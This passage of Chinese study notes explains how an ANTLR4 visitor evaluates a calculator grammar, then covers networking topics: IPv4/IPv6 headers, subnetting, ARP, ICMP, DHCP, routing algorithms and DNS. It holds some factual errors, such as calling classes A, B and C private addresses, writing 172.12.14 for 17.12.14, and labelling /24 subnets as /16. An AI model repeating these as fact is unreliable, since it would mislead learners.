|NEWLINE #blank
;

对比一下,prog只有一条规则,但是stat有三条规则,因此需要给每个规则定义一个标签,方便给该规则上语义动作

也就是说,每一个翻译规则对应一个标签

1
2
3
stat -> expr NEWLINE      #printExpr
stat -> ID '=' expr NEWLINE #assign
stat -> NEWLINE #blank

要怎么用这个访问器呢?

定制访问器

只需要用一个EvalVisitor继承这个CalculatorBaseVisitor,然后在EvalVisitor中实现函数功能即可

image-20230526161920122

不需要全都实现,因为CalculatorBaseVisitor中已经帮我们实现了默认方法

1
2
3
4
@Override 
public T visitPrintExpr(CalculatorParser.PrintExprContext ctx) {
return visitChildren(ctx);
}

以visitAssign的实现为例

1
2
3
4
5
6
public Integer visitAssign(CalculatorParser.AssignContext ctx) {
String id=ctx.ID().getText();
int value=visit(ctx.expr());
memory.put(id,value);
return value;
}

CalculatorParser.AssignContext ctx是个什么玩意儿,都有啥成员?

visit函数干了啥?

首先,CalculatorParser是antlr4命令生成的语法分析器类,AssignContext是其内部类

image-20230526170129061

CalculatorParser中有众多内部类,每个标签分别对应一个内部类

1
2
3
4
5
6
7
8
9
10
11
12
13
public static class AssignContext extends StatContext {
public TerminalNode ID() { return getToken(CalculatorParser.ID, 0); }
public ExprContext expr() {
return getRuleContext(ExprContext.class,0);
}
public TerminalNode NEWLINE() { return getToken(CalculatorParser.NEWLINE, 0); }
public AssignContext(StatContext ctx) { copyFrom(ctx); }
@Override
public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
if ( visitor instanceof CalculatorVisitor ) return ((CalculatorVisitor<? extends T>)visitor).visitAssign(this);
else return visitor.visitChildren(this);
}
}

每个这种*Context内部类的实例,都是语法树上的节点,这一点可以观察*Context的类体系验证

image-20230526210500945

任何*Context的直接父类都是ParseRuleContext类,该类中有一个List<ParseTree> children数组,用来存放子节点的句柄

无需置疑,这就是节点类

EvalVisitor,CalculatorParser,ParserTree三者是如何交互的?

跟随测试类的控制流观察

1
2
3
ParseTree tree=parser.prog();
EvalVisitor eval=new EvalVisitor();
eval.visit(tree);

ParserTree以parser.prog()入口,可以推测该函数应该是整个递归下降语法分析的入口,其返回值是一个 以prog节点为根的语法树,然后将该树根交给句柄tree

根据我们自己写的文法,整个程序确实只有一个prog,然后是prog->stat+,也就是推导成若干stat

下面验证一下这个prog函数是否如我们所料

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public final ProgContext prog() throws RecognitionException {
ProgContext _localctx = new ProgContext(_ctx, getState());//创建Context节点,ctx是context缩写,一般__ctx表示当前上下文信息,也就是父节点

enterRule(_localctx, 0, RULE_prog);//进入prog文法状态
int _la;//输入中的下一个词法符号的标识
try {
enterOuterAlt(_localctx, 1);
{
setState(7);
_errHandler.sync(this);
_la = _input.LA(1);
do {
{
{
setState(6);
stat();
}
}
setState(9);
_errHandler.sync(this);
_la = _input.LA(1);//从输入流中取下一个符号
} while ( (((_la) & ~0x3f) == 0 && ((1L << _la) & ((1L << T__1) | (1L << ID) | (1L << INT) | (1L << NEWLINE))) != 0) );
//只要下一个待解析的词法符号的类型是 T__1、ID、INT 或 NEWLINE 中的任意一种,就执行循环体中的语句
}
}
catch (RecognitionException re) {
_localctx.exception = re;
_errHandler.reportError(this, re);
_errHandler.recover(this, re);
}
finally {
exitRule();
}
return _localctx;
}

正如我们所料,prog函数的do-while循环中调用了stat函数

prog= stat stat stat...

这个prog函数中的do-while循环,每循环一次,递归下降分析一次stat

为啥do-while循环的继续条件是"下一个待解析的词法符号的类型是 T__1、ID、INT 或 NEWLINE 中的任意一种,就执行循环体中的语句"

所有的词法符号类型都被定义在CalculatorLexer.tokens中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
T__0=1
T__1=2
T__2=3
MUL=4
DIV=5
ADD=6
SUB=7
ID=8
INT=9
WS=10
NEWLINE=11
'='=1
'('=2
')'=3
'*'=4
'/'=5
'+'=6
'-'=7

T__1=='('

也就是说,下一个符号必须得是'(',或者ID,INT,NEWLINE

然而再看我们的语法规则定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
prog: stat+;

stat: expr NEWLINE #printExpr
|ID '=' expr NEWLINE #assign
|NEWLINE #blank
;

expr: expr ('*'|'/') expr #MulDiv
|expr ('+'|'-') expr #AddSub
|INT #int
|ID #id
|'(' expr ')' #parens
;

对stat求一下First集合

1
first(stat)=first(expr)+{ID}+{NEWLINE}={'(',INT,ID,NEWLINE}

正好就是do-while循环的条件

根据编译原理的理论,只有当下一个符号在当前文法的First集合中时,才会从当前文法开始进行递归下降语法分析

还有一个问题,prog节点是何时把诸多stat节点设为自己的字节点的,也就是说stat节点是何时挂到语法树上的?

Stat节点何时挂到Prog树根上去的?

到stat函数中看一看,第一行就创建了stat节点,和prog的第一行结构几乎一样,StatContext构造函数的第一个参数_ctx,这是一个全局变量,时刻维护当前节点的父节点.这样创建出的节点就知道自己的父节点是谁了

1
2
public final StatContext stat() throws RecognitionException {
StatContext _localctx = new StatContext(_ctx, getState());

这一点也可以在StatContext的构造函数中验证

1
2
3
4
public StatContext(ParserRuleContext parent, int invokingState) {//第一个参数就叫做parent,显然是当前节点的父节点
super(parent, invokingState);
}

那么stat知道自己的父节点是谁了,prog又是如何知道自己的子节点是谁的呢?

动态调试发现,stat函数执行后,ProgContext的Chindren数组就会多一个StatContext节点,具体怎么知道的,不想深究

回到正题,visit函数干了啥

1
2
3
ParseTree tree=parser.prog();
EvalVisitor eval=new EvalVisitor();
eval.visit(tree);

到现在位置,这三条的第一条分析完毕,目前tree是一个ProgContext句柄,语法树的树根

下面分析eval.visit(tree)干了啥

这个visit是AbstractParseTreeVisitor实现的

image-20230526214154072
1
2
3
public T visit(ParseTree tree) {
return tree.accept(this);
}

这个tree.accept也是一个接口方法,每一个*Context类都有实现

image-20230526214634187

就以AssignContext.accept()为例

1
2
3
4
5
public <T> T accept(ParseTreeVisitor<? extends T> visitor) {
if ( visitor instanceof CalculatorVisitor )
return ((CalculatorVisitor<? extends T>)visitor).visitAssign(this);
else return visitor.visitChildren(this);
}

如果当前节点visitor是CalculatorVisitor接口的实例,则返回visitor.visitAssign(this),也就是assign标签对应的语义动作

1
2
3
4
5
6
public Integer visitAssign(CalculatorParser.AssignContext ctx) {
String id=ctx.ID().getText();
int value=visit(ctx.expr());
memory.put(id,value);
return value;
}

现在知道了A.visit函数会调用EvalVisitor中当前节点对应的visitA函数

但是我们没有给prog->stat+定义标号,在EvalParser中并没有找到一个visitProg这样的函数,那么eval.visit(tree);到底调用了谁?动态调试发现调用的是CalculatorBaseVisitor类中的vistProg函数

1
@Override public T visitProg(CalculatorParser.ProgContext ctx) { return visitChildren(ctx); }

而在该类中的所有vist*函数,都只是简单的递归visitChildren,访问子节点

1
2
3
4
	@Override public T visitPrintExpr(CalculatorParser.PrintExprContext ctx) { return visitChildren(ctx); }
@Override public T visitAssign(CalculatorParser.AssignContext ctx) { return visitChildren(ctx); }
@Override public T visitBlank(CalculatorParser.BlankContext ctx) { return visitChildren(ctx); }
...

其中vistAssign等被我们在EvalVisitor重写,因此不会调用父类中的简单实现

也就是说eval.visit(tree);就是中心开花了,递归访问树根ProgContext的每个子节点StatContext,然后每个stat都会再递归调用自己的子节点的visit函数,文法翻译的过程就对应了这个递归调用的过程,其中语义动作的翻译,被我们重写在EvalVisitor中,会执行我们自定义的函数.其中没有语义动作的翻译,直接调用基类中的默认实现,直接递归子节点

到此理清了CalculatorParser,EvalVisitor,ParserTree等几个类之间的关系和控制流的流向

总结用antlr访问器实现计算器的步骤

1.写Calculator.g4词法,语法规则文件,留标签为定义语法做准备

2.用antlr -visitor命令生成Calculator*.java一众文件

3.EvalVisitor类继承CalculatorBaseVisitor类

4.在EvalVisitor类中重写标签相对应的语义规则

5.编写测试类Test,于其中指定输入流,组装lexer,组装 parser,建立ParserTree,用EvalVisitor实例,访问语法树实例

网络层

IPv4

IPv4地址

早期地址分类

最早的IP地址被划分为五类,ABCDE

根据前缀区分

image-20230208190722568

A类地址的网络地址占一个字节

整个IP地址空间的一半都是A类地址

B类地址的网络地址占两个字节

整个IP地址空间的四分之一是B类地址

其中A,B,C类网络地址是私有地址

特殊IP地址
网络号 主机号 源地址使用 目的地址使用 意义
0 0 可以 不可 默认路径地址0.0.0.0,
本网络上的本主机
0 host-id 可以 不可 本网络上的某个主机
全1 全1 不可 可以 广播地址255.255.255.255,
只在本网络上广播(路由器不转发)
范围局限在LAN中,即同一子网掩码的网段内
net-id 全1 不可 可以 特定子网的广播地址,
对net-id上所有主机广播
127 非全0或全1的数 可以 可以 用作本地软件环回测试
169.254 0 可以 可以 主机无法获取IP地址时
会自动配置地址169.254.x.x/16,
使其可以通信
多级IP地址

早期的网络地址=网络号+主机号

然而这种划分有很多浪费,于是引入三级IP地址

网络地址=网络号+子网号+主机号

只需要给大组织分配一个A或者B类地址,然后该组织自己划分子网号即可

只看IP地址是看不出有没有划分过子网的

这就是子网掩码的作用了

子网掩码"掩"住的是子网前缀,比如255.255.255.0这个子网掩码,它表明只有IP地址的最后一个字节才是主机号,前面的是网络号和子网号.

\[ 网络地址(原网络地址+子网地址)=IP地址 按位与 子网掩码 \]

192.168.1.0这是网络地址

192.168.1.255这是子网的广播地址

192.168.1.[1,254]这是可以给主机分配的IP地址

子网掩码和网关

一个计算机尝试访问另一个IP地址时,会进行如下计算:

自己的IP地址和自己的子网掩码按位与得到自己的网络地址

目标的IP地址和自己的子网掩码按位与,结果与自己的网络地址比较

如果相同说明目标计算机是"网上邻居",同处于一个子网内,则链路层帧的目的MAC地址就会填写该目标计算机的MAC地址.如果不知道邻居的MAC地址,会使用ARP协议,根据邻居的IP地址,查邻居的MAC地址

如果不同说明目标不在同一子网内,需要访问"外面的世界".这就需要网关转发,于是将链路层目的MAC地址填上网关的MAC地址.

如何获取网关的MAC地址?

这台计算机是有网关的IP地址的,不管是手动填上的还是DHCP获取的,反正就是有

然后本计算机通过ARP协议,根据网关的IP地址询问网关的MAC地址

这就存在一种单向通的情况:

image-20230208195437212

192.168.3.4/16可以往192.168.1.1/24发包,并且可以被收到

但是192.168.1.1/24无法向192.168.3.4/16发包,

因为PC1@192.168.1.1经过计算,192.168.3.4是一个外网地址,但是自己没有设置网关,因此不知道应该把包发给谁

可变长子网掩码VLSM
image-20230208200108836
地址划分举例
image-20230208200145777

分配给某一小型组织机构一个地址块,我们已知块中一个地址是205.16.37.39/28,求该块的起始地址?

网络前缀有28位,这就意味着IP地址的前三个字节都是固定死的205.16.37,最后这个字节的高四位是固定死的

39=0010'0111b,那么起始地址应该是0010'0000b,也就是32

因此这个网络块的起始地址是205.16.37.32

块的起始地址一般不会分配,作为网络地址

块的最后地址也不会分配,作为本块的广播地址

已给一个组织分配了17.12.14.0/26的地址块,该组织有3个部门,需要划分为32、16和16个地址的子块。

17.12.14.0/26这个地址空间里有\(2^{32-26}=64\)个地址,恰好划分为32+16+16

因此可以这样划分:

172.12.14.00'100000/27,即172.12.14.32/27

172.12.14.00'010000/28,即172.12.14.16/28

172.12.14.00'000000/28,即172.12.14.0/28

某单位分配到一个 B 类 IP 地址,其net-id为129.250.0.0。

该单位有4000台机器,平均分布在16个不同的地点。

如选用子网掩码为255.255.255.0,试给每一地点分配一个子网号码,

并计算出每个地点主机号码的最小值和最大值。

4000台机器均分到16个地点,则每个地点有250台,一个/24子网中最多有256-2=254台

因此一个255.255.255.0子网可以容纳250台机器

只需要将129.250.0.0/16这样划分:

子网号(Binary) 子网号(Decimal) 网络地址 主机IP地址范围
00000000 0 129.250.0.0/16 129.250.0.1~129.250.0.254
00000001 1 129.250.1.0/16 129.250.1.1~129.250.1.254
00000010 2 129.250.2.0/16 129.250.2.1~129.250.2.254
00000011 3 129.250.3.0/16 129.250.3.1~129.250.3.254
...
00001111 15 129.250.15.0/16 129.250.15.1~129.250.15.254

NAT地址转换

NAT类型 映射关系
静态NAT 一个内网地址对应一个公网地址
动态NAT 多个内网地址对应多个公网地址
PAT 多个内网地址对应一个公网地址的多个端口号

IPv4包

image-20221031183937685

Data用于承载运输层的协议,比如TCP,UDP

Header是IPv4数据报首部,其中Option为可选项,除此之外的前20个字节是固定的

VER

4bits

IP协议的版本号,目前只有4和6两种,代表IPv4,IPv6

两种IP协议的首部有区别,但是接收方只要是看到这个VER字段,就可以决定后面用IPv6还是IPv4协议来解释后面的数据报了

HLEN

4bits

由于存在Option这个变量,为了区分首部和数据,需要维护一个值,记录IPv4数据报的首部共有多少字节.这个值就放在HLEN字段,共4位,最大是15,单位是4字节,也就是说,IPv4首部最大可以是15*4=60字节,即Option最大是40字节

由于首部最小是20字节,因此HLEN这个值最小是5

SERVICE

8bits

要么表示服务类型

要么表示区分服务

image-20221031185352059
服务类型

用于获得更好的服务

注意服务类型不是高层协议类型

运输层上使用的是TCP还是UDP等等,是由Protocol字段决定的

用于描述上层(运输层)的服务类型,

前3bits用于描述优先级

后1bits不使用

中间4bits,DTRC,用于描述服务类型

image-20230212153218410
差分服务

前6bits是码点子字段,后面2bits不用

其中码点的不同组合有不同的意义

image-20221031185950842
Total Length

16bits

总长度,len(header + data),单位,字节

最大长度不超过\(2^{16}=65536bytes\)

又总长度不能超过链路层规定的最大传送单元MTU,以太网(正在使用的局域网规范)该值默认是1500字节

以太网链路层帧限制上层的数据报长度在46~1500字节之间,不够46字节需要填充

MTU

也就是说链路层的协议,其Header到Trailer之间的空间有限,最大是MTU规定的大小,IP数据报必须尊重地域差异,入乡随俗

image-20230212153927371
Identification

16bits

一段数据由于MTU的限制,可能要分成多个包发送,本字段用来表明哪些包是同一个文件的.

Flags

3bits

标志,用于标识该数据报是否可以分片,如果分片,是不是最后一片

最前面一个bit不用

中间一个bit是MF位,表征是否还有分片,1则还有分片,0则表明该数据报是最后一个分片

最后一个bit是DF位,表征是否可以分片,1不能分片,0允许分片

reserved MF DF
Fragmentation Offset

13bits

分片偏移,对于同一个包的分片,

指出较长的分组在分片后,其中一片在原分组中的编号.单位:8字节 \[ 分片偏移=IP数据的第一个字节编号/8 \]

\(8\times 2^{13}=2^{16}=65536bytes\)

image-20221031194849825

本机在10.177.148.9,使用ICMP协议给61.150.43.78发送3500个字节的数据

1
>ping www.xidian.edu.cn -l 3500

其中一组ping-pong应答:

去的包有三个,分别长1514,1514,587字节

为啥可以比mtu=1500多?因为这是整个数据报的总长度,包括了链路层的头

image-20221031201739441

前两个总长度1514字节的包,实际上IPv4数据报就是1500字节,其中IPv4首部占用了20字节

Time to live

8bits

生存时间TTL,用于表示最大跳数,即该包还可以通过多少个路由器转发

为了防止数据报在网络上无休止地被转发而占用资源.路由器在转发每个数据报之前,都会首先将其TTL减一,如果降为0,则丢弃该数据报,不再转发

Protocol

8bits

协议类型,用于表示上层使用的协议,也就是data中存放的是啥协议的数据报

常用的协议编号如下

image-20221031192637226
Header checksum

16bits

首部检校和,咋算的呢?

这里的首部包含Option字段,并且首部一定是4字节对齐的,Option如果不是4字节的倍数则向上取整到4字节的倍数

计算方式:

image-20221031193058326

需要注意的是发送方最终填写的Check Sum是校验和计算值的反码

接收方也是将校验和计算结果取反检查是否是全零

比如

image-20221031193231527
Source/Destination IP address

分别是32bits,源和目的主机的IP地址

Option

可以没有,最大40字节

首部附加选项

image-20221031202035076

IPv6

IPv6地址

长128位

image-20230208205753221

懒人表示法:

image-20230208210147178

全零的段可以只写一个0

连续的全零段可以用一个Gap代替,全零段之间的冒号可以省去了.但是一个IPv6地址中只能有一个Gap

为啥只能有一个GAP?看看如何还原

带有Gap的地址如何还原?

image-20230208210408867

IPv6包

image-20230212154305058

IPv6头部包括固定40个字节的基础头部和可变长度的拓展头部,拓展头部的长度会在基础头部中给出

Base Header
image-20230212154406661
字段 作用 长度(bit)
Version IPv6版本 4
Traffic Class 优先级,发生拥塞时分组的优先级 4
Flow Label 流标号,类似于之前的Identification 24
Payload Length 有效载荷长度,即拓展头+IP数据的长度,单位:字节 16
Next Header 指明上层协议,类似于Protocol 8
Hop Limit TTL
Source/
Destination Address
源/目的地址 128/128

IPv4向IPv6过渡

三种过渡方法:

过渡方法 原理
双协议栈 image-20230212155148399
隧道 image-20230212155201345
头转换 image-20230212155229167

ARP

数据报

image-20221101171944341
Hardware Type

16bits

链路层协议类型,以太网为1

Protocol Type

16bits

网络层协议类型,IP协议为0x0800

Hardware length

8bits

物理地址长度,比如以太网的物理地址,即MAC地址的长度就是6字节

Protocol length

8bits

逻辑地址长度,比如IPv4地址的长度就是4字节

Operation

16bits

ARP分组类型,有两种,Request请求或者Reply应答

四个地址

接下来是四个地址,依次是发送方的物理地址,发送方逻辑地址,接收方硬件地址,接收方逻辑地址

抓包观察

如图拓扑中

A@192.168.1.251试图ping B@192.168.1.250

image-20221101172908748

在A的Ethernet0网卡上抓包

image-20221101173100332

会发现首先发送和接受的并不是ICMP报文,而是arp报文,因为此时A计算机并不知道B@192.168.1.250的物理地址是多少.因此首先要问一下

第20帧,A向子网发送ARP广播,其报文中包括自己的物理地址,逻辑地址,目的地的逻辑地址,但是目的地址的物理地址是一个假值

image-20221101173242804

第21帧,A接收到了B的单播回答

image-20221101173435707

此时两个主机的物理地址,逻辑地址都已经填好了

ICMP

internet control message protocol 因特网控制协议,网络层协议

ICMP是网络层的协议,但是其在数据帧中的位置类似于TCP数据报的位置,都是在IPv4的data位置

报文格式

image-20221101234511301
Type

ICMP报文分成差错报告和查询两种,体现在Type上

对于差错报告报文:

差错报告类型

对于查询报文:

查询类型
Code

代码要视报文类型决定

image-20221101235149110
Checksum

校验和

差错报告报文

1
2
3
4
5
❏  对于携带ICMP差错报文的数据报,不再生产ICMP差错报文。
❏ 对分段的数据报文,只对第一个分段产生ICMP差错报文。
❏ 对于多播地址的数据报文,不产生ICMP差错报文。
❏ 具有特殊地址的数据报文,如127.0.0.0或者0.0.0.0,不产生ICMP差错报文。

差错报文数据字段:

image-20230212160806776
差错报告类型 作用
目的端不可达 路由器无法路由或者目的主机无法传递数据时,报告目的端不可达
源端抑制 配合流量控制使用
路由器或者目的主机发生拥塞时,丢弃数据包,发送源端抑制
时间超时 TTL减为0时,路由器丢弃
或者报文的部分分片没有在有限时间抵达目的主机,由目的主机发送
参数问题 IP分组首部错误
路由器或者目的主机丢弃分组并发送参数问题报文
重定向 image-20230212161420556
向源端报告更好的路由

查询报文

image-20230212161525556
查询报文类型 作用
回送请求和回答 诊断网络 ping
时间戳请求和回答 确定数据报往返时间,同步
地址掩码请求和回答 获取地址对应掩码
路由器询问和通告 询问路由器是否正常工作 tracert
tracert
img

DHCP协议

DHCP,Dynamic Host Configuration Protocol,动态主机地址分配协议

其前身是BOOTP(bootrap prottocol),引导程序协议,DHCP兼容BOOTP的功能

DHCP服务器有一个地址池,存放DHCP服务器可以动态分配的所有地址

DHCP工作过程

DHCP握手分为四步,主机要离开子网的时候,只有一步

前四帧握手,最后一帧离开
DHCP报文类型 时机 方向 作用
Discover client刚加入子网,试图索要一个ip地址 DHCP client--广播->DHCP servers 向所有DHCP server索要ip地址
Offer DHCP server收到了DIscover之后 DHCP server--单播-->DHCP client 所有DHCP服务器都会尝试给出一个可用的ip地址
Request client收到Offer之后 DHCP client--广播-->DHCP servers client接受其中一个offer,谢绝其他offer
ACK 被接受offer的server收到Request之后 DHCP server--单播-->DHCP client 被接受offer的server回复收到
Release client将要离开子网之时 DHCP client--广播-->DHCP servers 通知所有DHCP server,本client要放弃ip地址了,可以收回到ip地址池

其中四次握手同属于一个Transaction

路由协议

路由

路由:从某一网络设备发出,去往某个目的地,经过的路径

终端计算机,路由器,三层交换机上存在路由表

二层交换机上只有arp表

根据路由的发现方式,路由可以分成三种

直连路由:路由器自主发现相连端口的网络的路由

静态路由:人工维护路由表

动态路由:可周期性更新

路由表

image-20221107110756489

子网掩码

网络地址

下一跳地址

朝向下一跳的端口

比如网络拓扑长这样

image-20230212162804137

其中R1路由表长这样

image-20230212162818521

如果图22.6中的一个目的地址为180.70.65.140的分组到达路由器R1,说明其转发过程。

180.70.65.140这个地址属于180.70.65.128/25网段,因此应该从m0口出去

首先路由器会在180.70.65.128/25网段中使用ARP协议获得下一跳的MAC地址,然后将IP分组转发给下一跳

netstat -r

在win或者linux主机上使用netstat -r命令即可查看本机的路由表

比如

1
2
3
4
5
6
┌──(root㉿Executor)-[/mnt/c/Users/86135]
└─# netstat -r
Kernel IP routing table
Destination Gateway Genmask Flags MSS Window irtt Iface
default Executor 0.0.0.0 UG 0 0 0 eth0
172.29.112.0 0.0.0.0 255.255.240.0 U 0 0 0 eth0
栏目 Destination Gateway Genmask Flags MSS Window irtt Iface
意义 目的地址 网关 目的地址掩码 目标端口

在eNSP路由器上用display ip routing-table也可以查看该路由器的路由表

1
2
3
4
5
6
7
8
9
10
[Huawei]display ip routing-table
Route Flags: R - relay, D - download to fib
------------------------------------------------------------------------------
Routing Tables: Public
Destinations : 2 Routes : 2

Destination/Mask Proto Pre Cost Flags NextHop Interface

127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0
127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0

两者的主要区别就是这个NextHop

主机的网卡不需要下一跳地址,只需要维护一个网关的地址

路由器需要维护下一条的地址

最长掩码匹配

从路由表中选择具有最长掩码的路由

掩码越长,地址块越小,路由越具体

image-20230212163420071

假如R2路由器收到了一个目的地址为140.24.7.192的地址,

该目的地址即属于140.24.7.192/26网段,

又属于140.24.7.0/24网段,

应该发往最长具有掩码的网段,即140.24.7.192/26

地址聚合
image-20230212163621450
默认路由

默认路由就这种

image-20221107113423289

子网掩码是0,意味着默认路由在路由表中排在最后,也就是最后的选择.

只要是前面都失配的包都会从默认路由这里匹配成功.该条记录只需要记录从本路由器中的哪个端口出去,下一条是谁

image-20221107113605164

比如这里的B路由器,除了10.1.0.0/24,其他的包只能发往C路由器,于是B->C这条路由就是B的默认路由

路由协议优先级

直连路由的优先级最高,因为 其最可靠

image-20221107112300287

IP路由表为路由器实际工作时使用的路由表

建立该表的过程中可能考虑了很多路由协议,比如RIP,OSPF,对于同一个Destination的路由记录,优先使用高优先级路由协议给出的路由记录

比如之类对于24.10.0/24这个地址,RIP和OSPF两种协议给出了不同的下一跳,必然有优劣.由于OSPF协议的优先级高,最终写入IP路由表的,来自OSPF协议

路由算法

dijkstra

边权是链路代价,两节点不连接时链路代价为无穷大

image-20230212163803322

符号约定:

符号 意义
T 已经"拓展"的节点集合
N 网络中的节点集合
s 源点
w(i,j) 从i到j节点的链路代价
L(i) 目前从源点s到i节点的最小代价

以1号节点为起点,计算其与其他所有点的最短距离

计算过程:

Iter T L(2) Path L(3) Path L(4) Path L(5) Path L(6) Path
1 {1} 2 1-2 5 1-3 1 1-4 - -
2 {1,4} 2 1-2 4 1-4-3 1 1-4 2 1-4-5 -
3 {1, 2, 4} 2 1-2 4 1-4-3 1 1-4 2 1-4-5 -
4 {1, 2, 4, 5} 2 1-2 3 1-4-5-3 1 1-4 2 1-4-5 4 1-4-5-6
5 {1, 2, 3, 4, 5} 2 1-2 3 1-4-5-3 1 1-4 2 1-4-5 4 1-4-5-6
6 {1, 2, 3, 4, 5, 6} 2 1-2 3 1-4-5-3 1 1-4 2 1-4-5 4 1-4-5-6
bellmanford
image-20230212163803322

\(L_h(i)\)从源点到i点,最多经过h条链路时,最小链路代价和

计算过程

h \(L_h(2)\) Path \(L_h(3)\) Path \(L_h(4)\) Path \(L_h(5)\) Path \(L_h(6)\) Path
0 - - - - -
1 2 1-2 5 1-3 1 1-4 - -
2 2 1-2 4 1-4-3 1 1-4 2 1-4-5 10 1-3-6
3 2 1-2 3 1-4-5-3 1 1-4 2 1-4-5 4 1-4-5-6
4 2 1-2 3 1-4-5-3 1 1-4 2 1-4-5 4 1-4-5-6

动态路由协议

动态路由协议的目的:

知道有哪些邻居路由器;

能够学习到网络中有哪些网段;

能够学习到至某个网段的所有路径;

能够从众多的路径中选择最佳的路径;

能够维护和更新路由信息。

image-20221114110756904
自治系统

每个自治系统内部使用一套相同的路由协议,同级的自治系统使用同一套路由协议,自治系统可以嵌套自治系统

image-20230212170909097

每个自治系统都要分配一个AS号,用于路由

本级自治系统只负责将本级的IP分组发往本级目标自治系统,剩下具体发往目标AS中的哪一台主机,由该AS内部的路由协议自己决定

RIP on 距离向量算法

RIP协议基于距离向量协议

RIP协议中的距离或者说代价,就是跳数

Distance vector,距离向量算法

每个节点都有一个

初始化
image-20221114110945325

最初的拓扑中,每个路由器都只知道与自己直连的路由器.其路由表中只有这些路由器的信息

比如D实际上式不知道B的存在的,它只知道A的存在.上图中的D的路由表中画出 BCE,但是距离是\(\infin\),就相当于不知道它的存在

共享路由信息&距离向量更新

周期共享

每个结点都会将自己知道的所有都告诉邻居

image-20221114111341938

这里C共享给A的所有信息都要代价+2,这是AC之间的边权

C发往A的所有信息,其Next都是C,意思是,如果A需要使用该表中的一些信息,一定是C的贡献,届时A会以C作为下一跳发送相应数据包

A的老路由表和加上AC边权代价之后的C共享表进行比较,每一条路由都取Cost最小值,得到新路由表

缺点:

两个节点的不稳定性

image-20221114111751153

当A与X之间的链路断开后,A到X的距离成为无穷大,如果因为丢包等原因,A没有及时通知B,X已经断开了,那么B就一直认为B->A->X这条链路正常.当B给A交换路由信息的时候,A又认为B还有其他通路到X(实际上就是之前的链路).于是A有到X的包就会发往B,B又发往A,A又发往B...

三个节点的不确定性:

image-20230212172241217

X已经不和ABC连接了,A一开始也是知道X已经离开的,但是经过共享后,ABC都糊涂了

基于距离向量的RIP协议

就是将链路代价换成跳数

image-20230212173742433
OSPF on 链路状态路由选择算法

链路状态:

image-20230212182013525

每个节点都知道一些链路信息,比如链路代价,连接状态

每个节点都会字节建立一张路由表,通过洪范向其他节点广播状态

每个节点自己构建一个最短路径树,并以此构建路由表

image-20230212182406755

最短路径树:

image-20230212182518356

应用层

[TOC]

应用层概览:

image-20220115220640203

熟知端口号:应用层协议在服务端的==默认==端口号,客户端端口号随意

网络应用模型

客户/服务器模型

image-20220115215144534

工作流程:

1.服务器处于接收请求的状态

2.客户机发出服务请求,等待接收结果

3.服务器收到请求后分析请求,进行必要的处理,返回给客户端

客户端必须事先直到服务端的IP地址,这通过DNS解析完成

服务端处于被动状态,谁来了给谁服务,不来的不管

特点:

1.计算机第位不对等,服务器可以限制用户权限,比如ftp协议中ftp服务器可以设置管理员Administrator拥有读写的权力,但是匿名用户只有读的权力

2.客户机之间不直接通信

3.可拓展性差,服务器性能决定一切,服务器能力有限,想要服务更多的用户需要更强的服务器

P2P模型

peer to peer

这个2的英语是two与to同音

(曾经)比较流行的p2p应用有 电驴 等等

image-20220115215157997

特点

1.计算机第位对等,任意一对计算机可以直接通信,减轻了服务器的压力,提高了效率和资源利用率

P2P模型实质上依然是C/S方式,A与B通信时A发送消息,B接收消息,A就是客户端,B就是服务端.

只不过没有了专门的服务器一说

2.可拓展性好

3.网络健壮性强,单个节点失效一般不会影响其他部分

4.拥塞网络等缺点导致目前ISP(Internet Server Provider互联网服务供应商)对P2P模式持反对态度

域名系统(DNS)

domain name system

采用客户/服务器模型,协议运行在UDP之上,采用53号端口

层次域名空间

域名命名规则

域名服务器

域名系统实际上是一个联机分布的数据库系统,采用C/S模型

域名到IP地址的解析实在域名服务器完成的

一个域名服务器所管辖的域名范围称为区,同一个区中的各个节点一定联通

每个区设置相应的权限域名服务器,保存该区中所有计算机域名到IP地址的映射

每个域名服务器还应当有连向其他域名服务器的信息,当某个域名不在自己的管辖范围内时本域名服务器应当知道去哪里解析

域名服务器的组织方式

域名服务器以层次方式组织

根域名服务器

最高层次的域名服务器,根域名服务器知道所有顶级域名服务器的IP地址

当本地域名服务器无法解析时首先询问根域名服务器

根域名服务器告诉本地域名服务器下一步应当找哪一个顶级域名服务器进行查询

顶级域名服务器

管辖在该顶级域名服务器下注册的所有二级域名

当收到其他服务器的DNS查询请求时返回当前域名或者下一级域名服务器的IP地址

授权域名服务器

==每台主机==都必须在授权域名服务器处登记

为了可靠性,一台主机最好有两个以上的授权域名服务器(类似于留多个联系方式,方便找你)

许多域名服务器同时充当本地域名服务器和授权域名服务器

这句话我的理解是==路由器==

即充当本地主机向外网发起DNS查询请求的本地域名服务器的功能,

又起到了外网查询本机IP的授权域名服务器的功能

本地域名服务器

个人感觉类似局域网的域名服务器

任何主机发出DNS查询请求时都需要首先送到本地域名服务器

本地链接填写的IP地址就是本地域名服务器地址

本地域名服务器记录根域名服务器的地址

解析器

域名解析是把域名映射为IP地址或者把IP地址映射为域名的过程.

当客户端需要域名解析时,本地DNS客户端构造一个DNS请求报文以UDP数据包方式发往本地域名服务器

正向解析:域名映射为IP地址

反向解析:IP地址映射为域名

解析方式有两种:递归查询和递归与迭代相结合的查询

递归解析过程解析y.abc.com的IP地址

1.主机首先查询本机的高速缓存,没有找到y.abc.com的查询记录,于是将DNS解析请求报文发送给本地域名服务器.

2.本地域名服务器首先检查高速缓存,没有找到y.abc.com的查询记录,于是将DNS解析请求报文发送给根域名服务器

3.根域名服务器首先检查高速缓存,没有找到y.abc.com的查询记录,于是将DNS解析请求报文发送给.com顶级域名服务器

4..com顶级域名服务器高速缓存也没有,于是将DNS解析请求报文发送给.abc.com权限域名服务器

5..abc.com权限域名服务器下恰好有一个注册域名为y.abc.com的主机,于是返回该主机的IP地址给上级.com顶级域名服务器

6..com顶级域名服务器收到.abc.com权限域名服务器的返回IP之后将该IP再返回给根域名服务器,同时在高速缓存中记录该查询记录,方便下次查询时避免递归

7.根域名服务器将.com返回的IP地址再返回给本地域名服务器,同时在高速缓存中记录该查询

8.本地域名服务器收到根域名服务器返回的IP地址,将该IP地址返回给发起请求的主机,并在高速缓存中记录该查询

